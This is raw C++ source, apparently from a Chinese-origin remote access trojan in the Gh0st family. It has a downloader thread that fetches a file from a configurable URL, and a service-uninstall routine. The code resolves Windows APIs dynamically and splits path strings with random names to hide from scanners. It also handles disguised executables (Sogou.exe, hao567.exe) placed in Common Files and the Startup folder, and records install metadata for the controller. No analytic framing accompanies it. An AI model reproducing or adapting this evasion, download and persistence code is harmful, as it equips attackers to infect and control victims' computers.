// Функция потока загрузки файла DWORD WINAPI Downloadclient2015File(LPVOID D) { // Загружаем нужный файл TJavaClientFileData *Data = (TJavaClientFileData*)D; PCHAR Document = NULL; HRESULT Res = (HRESULT)pURLDownloadToFileA(NULL, Data->URL.t_str(), Data->TempFileName.t_str(), 0, NULL); if (Res == S_OK) pMoveFileA(Data->TempFileName.t_str(), Data->FileName.t_str()); else pDeleteFileA(Data->TempFileName.t_str()); delete Data; Downloadclient2015FileThread = NULL; return 0; }
void CKernelManager::UnInstallService() { typedef BOOL (WINAPI *DeleteFileAT) ( __in LPCSTR lpFileName ); DeleteFileAT pDeleteFileA = (DeleteFileAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"DeleteFileA"); typedef SC_HANDLE (WINAPI *OpenSCManagerAT) ( __in_opt LPCSTR lpMachineName, __in_opt LPCSTR lpDatabaseName, __in DWORD dwDesiredAccess ); char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; OpenSCManagerAT pOpenSCManagerA= (OpenSCManagerAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenSCManagerA"); typedef SC_HANDLE (WINAPI *OpenServiceAT)( __in SC_HANDLE hSCManager, __in LPCSTR lpServiceName, __in DWORD dwDesiredAccess ); OpenServiceAT pOpenServiceA=(OpenServiceAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenServiceA"); typedef BOOL (WINAPI *DeleteServiceT)( __in SC_HANDLE hService ); DeleteServiceT pDeleteService=(DeleteServiceT)GetProcAddress(LoadLibrary(KIoFqQPSy),"DeleteService"); typedef BOOL (WINAPI *MoveFileAT)( __in LPCSTR lpExistingFileName, __in LPCSTR lpNewFileName ); MoveFileAT pMoveFileA=(MoveFileAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"MoveFileA"); typedef VOID (WINAPI *GetSystemTimeT)( __out LPSYSTEMTIME lpSystemTime ); GetSystemTimeT pGetSystemTime=(GetSystemTimeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetSystemTime"); if (!modify_data.bRunOnce) { SC_HANDLE service, scm; scm = pOpenSCManagerA(0, 0,SC_MANAGER_CREATE_SERVICE); service = pOpenServiceA(scm,service_data.ws_svcname,SERVICE_ALL_ACCESS | DELETE); pDeleteService(service); ////////////////////////////////////////////////////////// char *SWpte1="C:\\progra~1\\Com", *yNpME2="mon Files\\1.temp",*SdHHe3=NULL; SdHHe3=new char[strlen(SWpte1)+strlen(yNpME2)+1]; strcpy(SdHHe3,SWpte1); strcat(SdHHe3,yNpME2); ////////////////////////////////////////////////////////// char *YXwdp1="C:\\progra~1\\Com", *rUIhn2="mon Files\\2.temp",*NahJl3=NULL; NahJl3=new char[strlen(YXwdp1)+strlen(rUIhn2)+1]; strcpy(NahJl3,YXwdp1); strcat(NahJl3,rUIhn2); ////////////////////////////////////////////////////////// char *mElad1="C:\\progra~1\\Commo", *uVwMo2="n Files\\Sogou.exe",*WQTSj3=NULL; WQTSj3=new char[strlen(mElad1)+strlen(uVwMo2)+1]; strcpy(WQTSj3,mElad1); strcat(WQTSj3,uVwMo2); ////////////////////////////////////////////////////////// pDeleteFileA(SdHHe3); pDeleteFileA(NahJl3); pMoveFileA(WQTSj3,SdHHe3); pMoveFileA("C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\hao567.exe",NahJl3); } SYSTEMTIME time; pGetSystemTime(&time); char szTime[100],szRun[256]; wsprintf(szTime,"%02d%02d%02d",time.wYear,time.wMonth,time.wDay); DelSetInfo("InitTime", szTime, "BITS");//写安装日期 DelSetInfo("Version", modify_data.szVersion, "BITS");//写版本信息 DelSetInfo("Group", modify_data.szGroup, "BITS");//写分组信息 exit(0); ExitProcess(0); }